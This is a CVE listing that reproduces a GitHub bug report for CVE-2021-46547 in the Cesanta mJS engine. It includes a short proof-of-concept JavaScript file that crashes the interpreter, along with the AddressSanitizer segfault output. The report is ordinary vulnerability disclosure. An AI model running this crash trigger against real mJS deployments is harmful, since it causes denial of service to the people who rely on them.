Headline

CVE-2021-46547: SEGV (/usr/local/bin/mjs+0x2c17e) · Issue #221 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x2c17e. This vulnerability can lead to a Denial of Service (DoS).

2 years ago

CVE

Open in Source

#vulnerability #ubuntu #linux #dos #js #git

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Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

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@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

chr([
  print(
    chr([
      print(
        JSON.stringify([
          chr--(
            print([
              JSON.parse(
                '0.255.0.0'
              ),
            ])
          ),
          chr(
            print([
              JSON.parse(
                '0.255.0.0'
              ),
            ])
          ),
        ])
      ),
    ])
  ),
]);

Execution steps & Output

$ ./mjs/build/mjs poc.js <array> <array> ASAN:DEADLYSIGNAL ================================================================= ==125301==ERROR: AddressSanitizer: SEGV on unknown address 0x55dae32d710c (pc 0x55dae32d717f bp 0x000000000130 sp 0x7ffc72c4b168 T0) ==125301==The signal is caused by a WRITE memory access. #0 0x55dae32d717e (/usr/local/bin/mjs+0x2c17e)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x2c17e) ==125301==ABORTING

1 participant

@hope-fly